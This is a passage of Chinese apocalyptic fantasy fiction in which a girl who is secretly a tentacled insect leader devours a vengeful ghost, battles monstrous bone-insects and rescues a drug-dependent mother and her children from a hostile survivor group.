这是个八人间,房间整体乱糟糟的,很显然想在这苦寒之地保持整洁是不可能的。
罗木坐在他的床上,低头耸肩捣鼓着一个小篮子,温茉目不斜视地跨过一堆脏衣服拉了张凳子坐下。把他的饭放在桌子上。
在室内,罗木脱下了帽子和面罩,他整张脸都有些红,不知是熏的还是冻的,察觉到温茉的好奇,他扭头露出一个得意的笑:“把布和棉花缝好,晚上睡觉就不会压到土豆和大米了。”
返程路上,罗木很草率地给橘猫和白猫定了名字。
屋里烧着炉子,发出噼里啪啦的柴火声,微弱的火光把罗木大咧咧的笑容镀上了一层温暖的柔光,他手里还捏着针线,像个慈父一样。两只小猫在床上追逐打闹,对着枕头又蹭又咬,终于发出了几声娇憨的喵叫。
眼前的画面十分温馨,明明再寻常不过,却让温茉的心头涌上一股热流,她打心底里喜欢罗木,开朗、热心、充满希望,好像从来没有沮丧的情绪。
也许是见多了苦哈哈的人们,他露出下齿的开怀大笑真的是金子般珍贵闪耀。
温茉想,也许这幅画面她会记得很久,即使以后他们再也不会相见,甚至成为敌对。
温茉用炽热的目光盯着他看了很久,红晕逐渐爬
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上了罗木的两只耳朵,他收敛笑容变得有些扭扭捏捏,垮着肩膀,不自在地大口扒拉着饭,脸都快要埋进去。
啊,好像给人家造成困扰了,温茉有些尴尬,摸了摸鼻尖转身出门,罗木的耳朵动了动,突然抬头大喊:“哎别走。”
他嘴角还沾着一截面条顾不得擦,几步走到温茉面前,右手从上衣口袋里掏出一管药膏,拉起温茉的一只手把东西放进去,然后后退几步。
“抹脸的,也许会有点恢复效果。”他真诚地看着她,拍了拍胸脯:“这东西是我老家秘方,专门治皮肤损伤,我前几天突然想起来,还真在行李里找到了。”
“伤痕是男人的奖章,我用不着这个,你拿去用吧!”
看着面前长相锐利却有些憨憨的大高个,温茉莫名想到了桑蓝曾经磕cp时在她耳边念叨的“狗塑”。
简直像条热情的大金毛一样,如果他有尾巴的话,一定会摇出残影的吧?
手里没有纸笔,温茉不知道脑子怎么突然抽风了,身体比脑子还快,上前轻轻拥抱了他,罗木像是没反应过来,硬得跟块木头一样站着没动作。
“肉吃多了老放屁——”
彭周推门而入,看到杵在门口的两人后话音戛然而止,罗木立刻推开温茉,急忙张嘴,彭周一拳朝他肩膀挥了上去,愤怒道:
“罗木,对未成年下手!?”
“我靠!误会!我只是把药给她,然后她突然就袭击我,在外国拥抱是表达友好啊嗷嗷嗷别打我!”
温茉、温茉直接捂着脸冲出去,一把将房门甩上,天色彻底暗淡,只有几盏白炽灯在模糊黑暗的基地中亮着,像不知名潜伏野兽的眼睛。
温茉抓起一把雪拍到脸上降温,她的心怦怦乱跳,以为是害羞的,结果十分钟后钻进被窝中还是无法平静。
不对啊,这更像是心悸……
温茉侧躺着,没盖被子,盯着黑暗发呆,这里管理混乱,她自己找了个没满员的女性屋子躺着。
同房间的人轻轻打鼾,电光火石间,温茉突然想起了为什么刚才突然汗毛直立了一瞬。
刚才跟着彭周回房间的,好像有七个人,落在最后一直低着头的,穿的是露脖子的轻薄长袖运动服!
看花眼了吗?
一双手突然从黑暗中伸出来,摸上了温茉的额头拍了拍,一个苍老的老头音说道:“小姑娘,这是我的床……”
“不好意思,我这就走。”温茉的思绪被打断,第一时间让出床铺出门,她放弃纠结什么,化形埋进雪里舒舒服服睡了一晚,清晨就蹲在食堂门口等门开。
27. 第 27 章
早上的饭是甜品零食混合的食物,温茉就吃了两口,被齁甜的口感腻得反胃。
罗木睡眼惺忪地落座到她旁边,“早上好。”
温茉扭头,脸色顿时变得有些奇怪。
她看到那个佝偻着身体,双眼猩红如血的运动服“男人”踮着脚,紧跟着彭周的脚步进了门。
彭周转动手臂活动着,直直朝这边走来,温茉捏紧餐盘,猛然起身离开。
怨气好重的鬼。
温茉站在门外,摸了摸手镯放出温布惊的那颗脑袋,它的眼睛半睁半闭,半张脸皮簌簌往下掉,下巴已然消散。
温茉轻抚着它的头发,脸上的表情越来越兴奋,那只鬼!那只鬼的皮肤光滑细腻,简直就跟人类没两样!
要是把它弄到手,温布惊一定会立马恢复“健康”。
本来这几天没撞见一只鬼魂,温茉还在烦躁,没想到今天就有一只主动送上门来!
温茉激动得浑身发抖,她把鬼脑袋收回镯子,低头走到彭周身边,对站着的那只鬼低语:“我看见你了。”
彭周:?
罗木惊掉了筷子:“你不是哑巴啊!”
那只鬼猛然抬起鬼气森森的脸,它没有眼白,整颗猩红的眼珠子狠厉地瞪着温茉,它张开大嘴嘶吼,浑身暴发出浓郁的杀气。
温茉的双手不受控制地抬起,掐住了自己的脖子。与此同时,在她的眼中,一团灰黑的烟雾从诡异的身体爆出,像无数条游动的蛇般盘旋在空中,诡异就站在烟雾风暴中心,满怀恶意地盯着温茉。
它伸手挥出了残影,那双冰凉黏腻、硬如钢铁的大手覆盖住温茉的,然后用力狠掐,它的力气极其恐怖。
“咔嚓”“咔嚓”……没过三秒,温茉的手骨就全数断裂,像面团般被鬼手捏爆。
从普通人的视角看去,温茉莫名其妙地开始掐脖自残,戴着手套的双手冒出湿答答的鲜红血水。
罗木惊骇起身,碰倒的餐盘在地板上弹响,彭周目光沉沉,紧盯着某处不说话。
清脆的铁盘砸响提醒了诡异。
“嘿嘿!!!”
它突然怪笑两声,体内爆发出更多的黑气,黑气团狂魔乱舞,没头苍蝇般撞进所有人的身体。
所有人都开始了自残!
所有埋头苦吃的,事不关己的或者扭着脖子看热闹的人,都无一例外地抬手掐住了自己的脖子!做出了跟温茉一模一样的举动!
作为被诡异盯上的人,彭周首当其冲,受到的影响最深,他被自己掐得脸色暴红,额角青筋凸起,双眼充满红血丝,几乎快要断气。
诡异扭曲地笑着,得意地等着众人死亡收割灵魂。温茉一脚把它踹飞到墙上,然后用双臂抱住它,把它像狗一般拖进雪地。
温茉跑得很快,眨眼间就带着诡异消失不见,一道残影非一般闯出基地大门,守门的士兵揉了揉眼,还以为自己产生了幻视。
温茉进入了荒无人烟的城市,她在一间居民楼的卧室中停下脚步,彼时她已经彻底变为虫族样貌,两条触手不受控制地掐着自己,另外几条紧紧缠着诡异的身体,把它狠狠压在地上。
“我要杀了你!”
诡异整个脑袋180度翻转,凶神恶煞地吼道,它的身体爆发出更多的黑气,攻击起了这具可怖的怪物躯体。
黑气具有致命的腐蚀性,不多时,温茉身上的皮肤就被腐蚀的血肉模糊,流出化学毒药般刺鼻的脓水,触手上的眼珠子被蜇瞎了一些,身体传来的疼痛让温茉止不住地抽搐,但她不仅没有放手,还捆得更紧了。
一分钟内,温茉就已经伤痕累累,她知道自己需要速战速决,于是下了狠心,用触手撕扯起了诡异的身体。
她从胳膊开始,触手上的尖牙像倒钩般咬住诡异的皮肤,触手一扯,一层皮肤就被完整地拽了下来。
诡异凄厉大叫。
那层皮肤冒着青烟,隐隐有消散的迹象,关着温布惊脑袋的手镯套在最细的触手上,她放出那颗脑袋,温布惊的双眼这次完全地闭上了,皮肤像皱巴巴的黑核桃。
触手抓紧把那层皮肤揉搓成一颗药丸大小的小球,塞进了温布惊紧闭的嘴巴里,即使没有了意识,它也下意识地咀嚼着。
怪物大喜,所有金色的眼珠子咕噜噜乱转,更加凶狠的拆分起了诡异的身体,诡异奋起反抗,冒出的浓黑烟填满了整间卧室,达到了明明是白天,却伸手不见五指的地步。
房子在被腐蚀,两只非人生物在黑雾中厮杀,冲着弄死对方的念头互相下手。
不知道打了多久,黑雾才逐渐散去,温茉所有的触手和触须都被融掉,只有一团血肉模糊没有皮肤的脑袋躺在地板上,她的血液、诡异的黑雾都具有腐蚀性,整间房子黑乎乎的,天花板和地板出现大大小小的烂洞。
房间内的气味刺鼻腥臭,温茉疼得脑袋直抽抽,她蠕动着往诡异挪动。
诡异也好不到哪里去,它像个被蒸过的干尸,肌肉消失只剩一层青灰的皮粘在骨头上,鬼不用呼吸,可当它艰难抬头,看到自己只剩一截左臂和半块胸膛的时候,直接气的肋骨大幅度起伏,也朝旁边的触手怪物移动。
两只现在脑子里都只有一个念头——弄死它!谁怕谁!
“砰!”
地板裂开了,温茉和诡异一同坠了下去,诡异没啥影响,但温茉摔得七荤八素,视野一片漆黑,她仅剩的、脸上的两颗眼珠在战斗中瞎了一只,另一只现在扎进了一根硬物,也报废了。
温茉疼得直骂娘,耳朵也嗡嗡响,但她知道诡异还在旁边,就开口骂它,气势丝毫不弱,诡异立刻回嘴,现场堪比脏话大赛现场。
突然,一只冰凉的手轻触了温茉的脑袋一下,温茉大怒道:“摸我要死啊!”
那只手顿了一下,然后离开了,温茉又要骂,结果一个阴寒的小圆球被扔进了嘴巴里,她下意识吞咽下去。
嘶,这个口感,冰冰凉凉嘎嘣脆。
温茉:“哥,是你吗?”
回应的声音从深海里传过来一样,模模糊糊,沉闷,温布惊像是轻笑了一下,继续搓小圆球喂温茉。
温茉乖乖吃着“糖豆”,耳内轰鸣逐渐平息。
她道:“哥,你怎么是个男生的声音了?”
温茉的世界一片黑暗,她看不见,只听见温布惊说道:“我长大了一些。”
“你不喜欢吗?”
它说了三遍,温茉才听清,“没有,就是你以前都是儿童音,一下子变了我怪不习惯的。”
“嗯。”
那只诡异就剩那么一点,全被温茉吃完了,她感觉力量恢复了一些,但身体还是很虚弱。
她浑身都是腐蚀的伤洞,但好在这具身体的阈值很高,修复能力强,痛感在承受范围内。
看不见世界,触手也都断了,一动也不能动,温茉有些没安全感,她问道:“现在是什么时候了?”
温布惊:“天快要黑了。我先带你离开这里。”
它小心翼翼地把温茉抱在了怀里。
温茉躺在冰冷坚硬的胸膛中,只能感觉一阵阵风刮过,她感受了一会儿,
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“哎,你的胸口和肚子都硬邦邦的。以前都是软的。”
温布惊:“更大一些才能保护你。”
身形修长挺拔,少年模样的诡异冷着脸,它的眼型狭长深邃,眼尾翘起的弧度有种勾人的魅惑感,睫毛轻薄纤长,冲淡了眉眼的攻击性。
它没有眼白,占满眼眶的绿色眼珠含满冰冷,像黑夜中荧荧的两点毒蛇眼睛。
温布惊苍白的薄唇抿得很紧,直到听见温茉说话,才勾起了一点笑意。
温茉的耳朵还是不太好,听不清它的呢喃,听着自己身上的血水嘀嗒落下,她问道:“我身上是不是特别臭,流太多血了,腥腥的。”
“不臭。”温布惊提高音量,睁着眼睛说瞎话:“明明是海盐的味道。”
温茉:“什么!啊?听不清?什么盐?”
温布惊彻底笑了,它自顾自道:“你知道古代人为什么会说那些将军啊君王啊有‘王霸之气’吗?其实是因为他们体味太重。”
“你的血液散发出的味道,是独属于你们族类的王霸之气,还有致幻效果呢多高级。”
温茉慢吞吞地把模糊的声音在脑子里转了几圈,仔细分辨,半晌,有些高兴道:“真的吗?”
温布惊:“真的。”
假的。温布惊死得太早,就没接受过义务教育,知识储备量极低。
它知道的东西,大多是从一些鬼那里听来的。
不过能哄一个心碎的小姑娘开心,说几句忽悠的话也没什么。
温茉确实觉得心里好受多了。毕竟她其实有点轻微洁癖,一般来说还好,但有时候要是较真起来能呕死自己。
她的血确实堪比化学毒品,味儿刺鼻,腐蚀性还大,一不小心就把周围弄得一团糟,而她自己就如同一个生化怪物毒母,走哪儿哪儿凋敝。
温布惊抱着温茉移动,速度极快,很快,温茉就闻到了海洋的味道,她不乐意地嚷嚷:“像块烂抹布一样的回去也丢人了!”
“我自己能慢慢长好的。找个地方待几天就好!”
毕竟她爬上岸的时候可是说过自己要一统虫族,结果连半块大陆都没跨,就负伤而归!
好吧,虽然这趟上岸确实没干成啥事,像在混日子一样,但那绝对是因为现在的社会环境太奇怪了!
天气奇怪!人类奇怪!该死的臭骨化虫更加奇怪!
温茉好面子,不想让那些虫子看见她的窘迫,“我现在就跳下去摔死给你看!”
温布惊:“适当的示弱能激起族群的愤怒。”
“我要它们的愤怒干啥。”
温布惊歪着脑袋想:“深海虫族并不弱,你非要单打独斗,让它们来统治人类社会不好吗,这么好的一张牌干嘛藏着掖着。”
温茉不可置信:“……”
“况且,你是首领,只要你下令它们不会伤害人类的。”
“闭嘴!”温茉喝斥:“温布惊,你变了,人类才是这颗星球的原始生命!无论何种形式,虫族都不应该侵犯人类的主权!”
在一家乡间商铺前,温布惊面无表情地止住了脚步。
片刻后,温茉意识到自己太激动,毕竟温布惊的出发点都是为她好,于是她缓和了情绪,“哥,你是不是受那只诡异的影响太大了。你以前不是这样的……”
“或许吧。”温茉的耳朵好多了,听到它轻飘飘、清越好听的少年音:“反正我只是一只鬼,没有从人类角度出发很正常吧。”
“妹妹,作为虫族首领,你终究会有在两个群体间进行抉择的时候。”
28. 第 28 章
漫天风雪,炮火连天,十几米高的骨化怪物匍匐在地面上,巨大的手掌猛然拍向地面,像打死一只蚊子般轻飘飘收割走一个逃命者的生命。
“赫赫赫赫。”
五官狰狞的虫子抬起那只手,伸出舌头舔舐手心的血迹,喉间发出瘆人的狞笑。
城市高楼林立,楼间的密度很高,放眼望去,几乎每一栋大楼表面都攀爬着几只虫子,它们大部分的注意力被雪地上崩溃逃命的笨拙人群吸引,佝偻着脖子,用没有眼珠黑洞洞的眼“望”过去。
几只体型稍小的虫族,像猫捉耗子般不紧不慢地追赶着逃命的人们,一会杀死一个,陶醉在人类不绝于耳的惨叫中。
狂风暴雪,人类的惨叫崩溃,虫族的张狂哄笑,刺耳的风声,鲜红的血,冒着热气的残肢……说是人间炼狱也不为过。
“瞧那个男人,藏进了雪里,屁股还在外面哈哈哈。”
“哇,那个抱着两个小人崽的女的,跑吐血了。”
“哪呢,哪呢,我看看……”
几只虫族谈笑着,像是看斗蟋蟀的观客般,俯低脑袋去观察那个跪在雪堆中的女人。
女人穿得极厚,露在外面的棕辫子很长,她剧烈咳嗽着,裸露的双眼充满绝望,两个包成粽子的孩子抱着她的手臂号啕大哭,使劲想把她拉起来。
没有力气了……
女人倒了下去,眼神开始模糊,孩子们爆发出更加激烈的哭喊。这时,一只温暖干燥的手却突然出现,伸手扯下了女人的面罩。
一颗甜滋滋的巧克力被推进嘴里,女人立刻嚼碎了咽下去,她抬起脸,努力想要看清来人。
一位少女。
这个身着单薄,赤着双脚的女孩没戴面罩和帽子,长长的黑色发丝在风中飞扬,遮住了她大半的面庞,她很瘦,像是长期营养不良的羸弱,脸上有蜈蚣般可怕扭曲的冻伤痕迹。
她的手腕细白,戴着一个黑玉手镯。
那双极其璀璨的,漂亮的犹如烈阳般的金色眼眸无比冷静,不见一丝怯懦和麻木,像是生活在伊甸园中的天使该有的眸子。女人喟叹一声,牙关打颤道:“谢谢……”
温茉把她扶起来,帮她拍了拍腿上的雪,“快跑。”
女人把两个抽泣的孩子重新搂进怀里。她回头望了眼墙壁上蠢蠢欲动的虫子,她想说些什么,但恐惧的情绪越发浓烈,以至于失语。
她们落在最后了——女人完全就是惊弓之鸟,意识到这点,她只来得及深深看一眼少女,又继续跌跌撞撞地逃命。
温茉站着没动,看着她们的身影越来越远,一只虫子疑惑地“嗯”一声,巨大的身躯爬行到温茉的身边,伸出瘦骨嶙峋的大手指戳了戳温茉的脑袋。
“从哪里出现的?”
温茉静静地看着它,伸出触手急速延伸至几十米,在骨化虫不可置信的“目光”中,卷住了朝那母女三人伸出魔爪的一截手骨。
“咔嚓。”触手只是轻轻拉了拉,虫子那截巨大的手腕瞬间断裂,那只虫子发出一声惨叫,女人听见了,不敢回头,只是拼命跑得更快了。
虫族还没反应过来,温茉就化作本体朝最近的虫子袭去!
紫色触手怪物十几米高,头顶有三层细弱的触手像花瓣般舒展,最里面的一层触手闭合,保护着最为重要的大脑。
触手上面布满了密密麻麻的金色眼珠,吸盘和尖牙,下、身是由无数根紫色菌丝般的触须组成,看似脆弱,实则移速极快,支撑力极强。
触须很长,几乎铺满了方圆几米的区域。触手和触须一齐发力,将虫子紧紧缠绕,释放出的腐蚀黏液附着在骨化虫体表,发出滋滋的响。
温茉抬起一根触手,烦恼地歪了歪脑袋,对着身下的骨化虫抱怨道:“乖乖的,别动。”
虫子大声嘶鸣,奋力挣扎,触须越缠越紧,最后把它像蚕茧一样包住,虫子仍旧大声谩骂,在茧中挣扎着。可八秒后,蚕茧安静了。
这八秒内,四只虫子虎视眈眈地朝温茉扑去,可还没靠近她身体,就被什么看不见的东西凭空踢飞。
接着,雪中亮起两簇幽蓝的鬼火。
看见那火焰,四只虫子惊恐地跳开,不只是这四只,周围建筑上的所有关注着的骨化虫都迅速切换味为戒备的匍匐体态。
只有温茉可见的,俊俏少年体模样的诡异冷冷道:“看来它们接到了消息。”
温茉一脸满足地收回触须,露出被吸成巨大干尸的骨化虫遗体,吸收了这只虫子全部的能量,她的紫色触手上浮现点点荧光,忽明忽暗,像水母伞盖上才会有的生物发光。
她无所谓道
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:“看来,当初消失的虫子们来了这儿。话说,这个虫群是多大团的?”
温布惊飞至高处,眯着绿色鬼眼将大半城市尽收眼底,无数只骨化虫呈包围圈围住了温茉,却不敢发动攻击。
“几千或万团吧。”温布惊手持鬼火,落回温茉身边,它道:“实验成功,可以撤了。打下去我们没有好处。”
也许因为运动服男诡能量太强,不仅温布惊得到了好处,只吃了一点的温茉也产生了变异。在一处乡下小屋花费几日养好身体后,温茉发现,她原本温顺只承担移动功能的触须有些不对劲,变得极其有攻击性。
基因告诉她,它们需要狩猎,需要吞噬。
于是一虫一诡带着份找到的地图直接北上,四天后达到了一个新城市。
这个叫西奥亚的超大型城市,连接水陆山三区,是这块大陆最繁华的城市之一。
此时,这座死城完全被骨化虫占据,这些最外围的虫子们也仅仅只有十几米大,按照推测……靠近虫母的中心区域,至少也有几百米的虫子。
温茉远远地朝深不见底,众虫身后的市区内深深地望了一眼,接着,触手以肉眼看不见的速度捆绑了一只十米出头的骨化虫,拖着飞快地逃离了现场。
有鬼火的震慑,虫子们终究没有追上来,只是愤怒的嘶吼着。
……
接连吸收两只虫子的能量,温茉像吃到了仙草般精神焕发,全身的旧伤都好了。
她摸了摸光滑的脸蛋,蹲下挖了团污泥涂上,风把人类的气息传递过来,前方三百米处,一群身负重伤的幸存者在艰难徒步。
因为高山的阻挡,这里的雪层并不厚,只到膝盖处位置,雪地上间隔停着各种车辆,几乎每走几步都能踩到坚硬的冻尸。
一辆蓝色货车最为显眼,温布惊说道:“去车厢休息。明天继续抓单虫子。”
温茉眨了眨眼:“可是我想到人群里去。我不想当只会杀戮的机器。”
温布惊脸色臭得要死,却也终究没有再说什么。
这段日子,兄妹俩的理念出现了巨大的分歧,但好在,目前也还能心平气和地交谈。
温茉知道,温布惊都是为了她好。但是,说白了,即使基因彻底变为虫族,但她心底仍然固执地认为,自己属于人类。
29. 第 29 章
一些幸存者暂且挤在一家汽车旅馆,棕长麻花辫的女人缩在角落,遥遥注视着那点可怜的火光,她的眼睛一眨不眨,看着女儿小心翼翼地从男人围圈的小火堆处融化了些雪,捧着破烂的易拉罐瓶子,小跳着跑回来。
母女三人轮流接过易拉罐,最后到女人时,冷不丁听到旁边的女孩突然开口。
“天气真是糟糕。”
温茉看着那女人哆嗦了一下,猛地扭头看自己。女人下意识直起身体挡住孩子,直到察觉温茉没有恶意,才放松下来。
女人消瘦憔悴的脸色十分难看,她讪讪道:“是啊,很久没见过太阳了。”
说完,她拉上毛线面罩,泄力坐下,靠墙捂着绞痛的腹部,整个人的气质十分脆弱。
温茉:“你生病了?”
女人眼睛布满红血丝,眼神空洞地盯着地面,没有交谈的力气和心情。温茉帮她烤了一易拉罐热水,她的态度才温和了一些。
“叫我优子就好。谢谢你的热水,我好多了。”
“晓丽。”温茉探头看了看门口,“你们要去哪儿?”
优子茫然摇头。
她带着两个孩子,晕头转向的,只凭借着本能跟着大部队逃命,一路上堪称混乱,也是歇了一会儿,被枪声震到的耳鸣才好了些。
两个小孩像考拉般一左一右抱着优子的手臂,充满惊恐怯弱地盯着温茉。
温茉觉得是自己的造型吓到了她们。她用泥巴涂了脸,沾满血渍的大衣是从尸体上扒下来的,戴着头盔一样的蓝色帽子,手里拿着一把枪,像个杀人犯一样。
优子显然也很害怕,眼神一直往枪上瞟,时不时咽口水,温茉把枪扔她怀里,低语道:“我带你去幸存者基地吧。”
优子的眼睛亮了,却又瞬间黯淡下去,喃喃道:“哪里都不安全……”
温茉:“不会的,那里绝对很安全。”
优子犹犹豫豫垂下脑袋,一脸纠结,她一方面不太相信这个晓丽,一方面确实是彻底走投无路了……
门吱呀响了两声,温茉抬头看,见走了几个全副武装的人,这几人装备精良,身上叮叮当当挂了不少工具,衣着很像是军装模样。
他们一走,屋里多数人的脸上顿时都有些慌乱,互相使着眼色,但围着火堆坐着的还有几位同样军装制服的男女,他们脸色铁青,像是刚结束过争吵。
温茉淡淡收回目光,对优子点了点头,“别告诉别人,你自己决定要不要跟我走。”
撂下话,她脚步很轻地推门而出。背影挺拔的牛仔背带裤少年抱胸轻靠着柱子,听见动静转过头来,露出俊俏苍白的一张脸。
可惜了,它脸上的尸斑块太过煞风景,大大削弱了雪景少年的美感,温茉心想。
温布惊用了很多鬼火,因此脸上爆出了几块尸斑,它像是有些介意,跟温茉眼神短暂接触,垂下眸子扭过头去。
“太麻烦了。”
温茉知道它说的是优子,与它并肩而立,吐出一口浊气,“你又视监我,说好了给我隐私。”
温布惊表情依旧冷冰冰,但眼神有些愤愤,说出来的话带着酸味:“这才几天,就不让管了,我是你亲人,听你说话都不让了。以前看不见我就慌,现在哥哥也不叫了。”
它不自觉就说出了这些话,说完才惊觉好像有些小家子气,于是紧闭了嘴巴,神情怪异地盯着远处一个雪堆。
“实话说。”温茉摸了摸鼻子,“你突然长得太大了,我不适应。不是有意跟你保持距离的,只是哥你要明白什么是男女有别。”
“真当我是几岁的小孩吗?”温布惊又恼又刺道:“我死这么多年,就待在小区里,谁家没进过?什么没见过?男女有别我比你懂!”
温茉一脸震惊。
气氛安静得有些诡异。
几秒后,温布惊慌忙摆手,它没敢回头,吞吞吐吐道:“没有故意看别人隐私!只是偶尔找别的鬼玩不小心撞见了……”
“烦死了,不管你了!!”
越解释越乱,温布惊气地干脆丢下一句,瞬间消失在茫茫雪地中。
温茉觉得脸烫的很,她下意识摸了摸手腕上的镯子,冷静了好一会,也选择逃避,同手同脚地进了门,没注意看一头撞到一个男人,他反手用满是冻疮的大手摁着温茉的脑袋,狠狠压到门后。
男人体味很重,磨了磨牙齿,威胁着慢条斯理道:“就是你说的幸存者基地!?”
温茉脑袋一动不动,眼珠子朝斜后方看去,优子揽着两个孩子,低着头不敢看她。
大厅的火熄了,冒着丝丝黑烟,幸存者揣着手朝这边观摩,神情各异。
温茉重重吸气,保持着沉默。
男人瞪了眼优子,她立马蹒跚着过来拉温茉的衣角,声线破碎,“是你说的呀,是你给我说的,枪也是你给我的!”
“防空洞里的幸存者我都眼熟,就没见过她,西泽,我把所有事情,第一时间都告诉你了!”
温茉:“对,我是从一个幸存者基地来的,就在南方那个海鲜城市。”
她挑衅地笑了,“只是你们有本事跨越几百公里过去吗?”
她紧紧盯着优子,“知道我为什么找你吗,因为只有你到现在还护着孩子,我想帮你……可是你背叛我。”
“别说这样的话!”优子大叫:“我没有伤害你,是你自己先凑过来的!西泽是我们的领袖,我必须汇报!”
“你可以偷偷跟我走。”
“我怎么相信你!我怎么相信你!!我没有办法了。我浑身都疼,西泽会给我止痛药。”
优子情绪有的激动,眼眸红得要滴血,她哆哆嗦嗦拿出一包白色粉末结晶,低头闻嗅,脸色瞬间迷离。
温茉目眦欲裂,最可怕的是,旁边的两个小孩竟然也把鼻子凑过去,她一把甩飞压制着自己的男人,风一样跑过去将那包粉末打掉。
白色粉末飘扬在脚下,跟地板上的雪渣完美混在一起,两个小孩立马蹲下去试图去捞,无果后小声啜泣着。
温茉只觉得两眼发昏,胸腔的怒气转变为迷茫和无力,她满心的恨铁不成钢和愤恨,却不知道具体在恨些什么,不知道要愤怒些什么。
西泽脸色不悦地比了个手势,几个男人瞬间把她们围住,温茉心神不宁,后背挨了重重几棍子,没站稳趴了下去。
优子受毒、品的影响浑浑噩噩地站在原地轻晃身体,手里的枪被一个女人收缴了。
西泽粗暴薅住温茉的帽子,把她像小鸡仔般领起,用极快的语速逼问着,温茉执着地盯着已经开始脱衣服傻笑的优子和俩抱头蹲下的孩子,太阳穴突突跳。
她蓄力一脚蹬开他,男人狠狠飞了出去,因为穿得厚倒是没什么事,剩余的人被她的怪力吓傻了,站在原地没动,只有一个女人抬起了枪扣动扳机。
几发子弹入体,少女却脚步没停,眉头都没皱一下,她伸手拉住优子的手臂,把人往门外带。
连一个眼神都没有给其他人。
“砰砰砰——”
女人眼中凶光大盛,又连续开了几枪,温茉的大衣绒毛翻飞,更加破烂了,她把优子母女推出门外,扭头进门,给了那伙
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人一人一脚。
她的速度很快,出腿时连残影都看不到,普通人根本来不及反应,接二连三地飞出去。
温茉还欲放些狠话,耳尖却动了动听到了远方一些动静,接着冷笑一声:“虫子们来了。”
众所周知,骨化虫没有视力,嗅觉和听觉却十分强悍,即使远在千米外,只要一丁点动静都能察觉到。
这些洋人味重,粗鲁,刚才又开枪。温茉听到,无数的虫子已经狂奔而来了。
幸存者犹如惊弓之鸟,仅仅听到这句话就开始慌乱,也不管消息真假争先恐后夺门而出,温茉给优子整理好衣服,冷眼看着他们逃走。
西泽搀扶着开枪的女人,落在最后从屋里走出来,两人恶狠狠瞪了温茉一眼,尽管不情不愿,但也不愿意落单,寻着同伴的身影追了过去。
优子还处于痴呆状态,她又扯开衣领,然后抱着双臂哆嗦。
温茉把铁门卸下来,找了圈尼龙绳系住。
她把手无缚鸡之力的母女三人推上门板,牢牢握住了系绳。
……
优子迷迷糊糊的醒来,第一反应就是好冷,她茫然的推开被子从床上坐起来。这是个陌生的房间,窗户烂了个大洞,外面好像是个院子,寒风呼呼吹着。
孩子还抱着她的双腿酣睡,优子小心翼翼抽出来,拎起桌上的台灯走出去。
她头痛欲裂,嘴唇裂出道道血痕,还伴有一阵阵耳鸣,从院子走出去后,恐慌的大手立刻扼住了她的喉咙,她几乎无法呼吸,疑神疑鬼地缩在门后,眼泪和鼻涕一齐流了下来。
为什么又回到城里了!?
优子满心恐惧,却想不起来昨天发生了什么,自从依赖上首领给的“药”后,她的精神状态十分糟糕,断片是常有的事。
优子捧着脸无声哭,蹑手蹑脚探头往外看,突然跟一个黑眼睛黄皮肤的男人对视上,男人五官锋利,气质很凶,他吐掉嘴里的烟蒂,指着她大声呵斥。
“出来!”
女人像老鼠一样跑了,彭周愣了一下,拉上面罩大踏步追进屋子。
“妈了个蛋,还敢跑!强调多少次了不允许擅自离队!”
……
十三分钟后,彭周一手抱着一个女孩,领着优子归队,这会儿队伍已经挖过几轮正在休息,皆朝这边投过来好奇的目光。
罗木和玛瑞一起迎了上去。
罗木双手捧着胸脯,笑嘻嘻跟彭周打招呼,他的口音比较蹩脚,优子下意识觉得他是个变态。
玛瑞则是立刻揽住了优子,她一眼看出优子不是基地的人,关切地询问起来,优子拉拉衣服,低声简短回答。
罗木满面春风,嘚瑟得很,“刚才土豆和大米踩奶了!”
喜气洋洋的劲儿,不知道的还以为世界和平了。
彭周懒得给他一个眼神,但两个小女孩紧张害怕的,快要把他的脖子勒断。
他眼珠子转了转,放下孩子,一把拉开罗木的衣领,果然看到热烘烘的两个小猫头,他轻柔地叫了猫的名字,得到几声回应。
彭周:“借一下。”
他伸手掏出两只猫,展示给两个小女孩看,她们的神情变得极其惊喜,身体也没那么僵硬了。
罗木急地跳了起来,“别这么拿猫,它们不舒服!土豆,大米,挠他!”
土豆和大米只是夹着尾巴,湿漉漉的眼睛盯着他,弱弱地叫了几声。
罗木的心都要碎了。
彭周没理他,对着孩子轻声道:“来,一人发一只,学着这个怪叔叔一样把猫塞进衣服里。”
30. 第 30 章
罗木被训了一顿,还要安排抢他猫的小孩回基地,脸黑得像煤炭。
优子温顺的低头跟着,想搭话又不敢,玛瑞亲切地挽着她的手腕,笑意盈盈的,但末世那么久了,她非常害怕极其热情的陌生人。
虽然第一印象有些差,但优子是更想跟前面那个表情冷漠的外国矮个子交好的,这种条件还能养活两只猫,他人品应该不会差。
她自己就养着两个孩子,下意识想靠近呵护弱小的人。
近来基地的氛围很轻松,许多人都会在雪地上透气交谈,几个裹得像球的小孩在追逐打闹,看见罗木就激动地迎过来。
靠着手握两只可爱小猫,罗木毫无疑问地成为了基地里的孩子王,甚至有时候有些大人也会过来逗逗小猫玩。
“大哥!你今天怎么回来这么早!”为首抱着球的小孩问道。
罗木侧身,让出身后,“喏,新玩伴,好好相处知道不。”
两个小女孩扭扭捏捏的抱着优子的腿,脸都不肯露。优子尬笑一声:“她们比较害羞。”
“宝贝们,这里很安全,要去跟大家玩呀。”玛瑞蹲下身,语气温柔地轻哄着她们,犹如慈眉善目的幼儿园阿姨。
两个小孩不搭理她。
罗木驱赶着皮猴子们:“散开吧,别吓着人家。以后有的是熟悉的时候。”
他对玛瑞道:“你对生活区比较熟悉,你来安排吧,尽量给她们找些好相处的室友。”
玛瑞:“可以。那你去给她们拿点食物吧。”
罗木:“好,一会儿你还回去干活吗?需要我等你。”
玛瑞摇摇头,手臂揽着优子肩膀:“今天我陪陪她。”
优子满眼社恐,连连摆手,“不用麻烦您了……”
她下意识向罗木投去求助的目光,罗木心烦意乱没注意到,扭头大踏步走了。
罗木带着面包和火腿很快返回,把东西交给玛瑞,恋恋不舍地开车回城。
浩浩荡荡的铲雪队正在休息,不少人面带轻松地交谈着,他们已经把选定居民楼周围清理干净了,下午就可以修理电力和供暖系统,恰巧队伍里有位水电工,大家都在听他说话。
队伍里不时爆发阵阵哄笑。
罗木叉腰站旁边看了一会儿,眼角瞥见他家老大鬼鬼祟祟地从角落钻出来,拎起车里的保温杯喝热水。
彭周招手,用中语道:“过来。”
罗木哒哒哒跑过去,听他问道:“你看见那个哑女没有?”
“没有啊。”罗木感到莫名其妙,挠了挠头回道:“那次事后……她不是消失了吗?”
彭周轻抿了口水:“她应该在附近,我找了一圈没碰到。估计在躲着我们。”
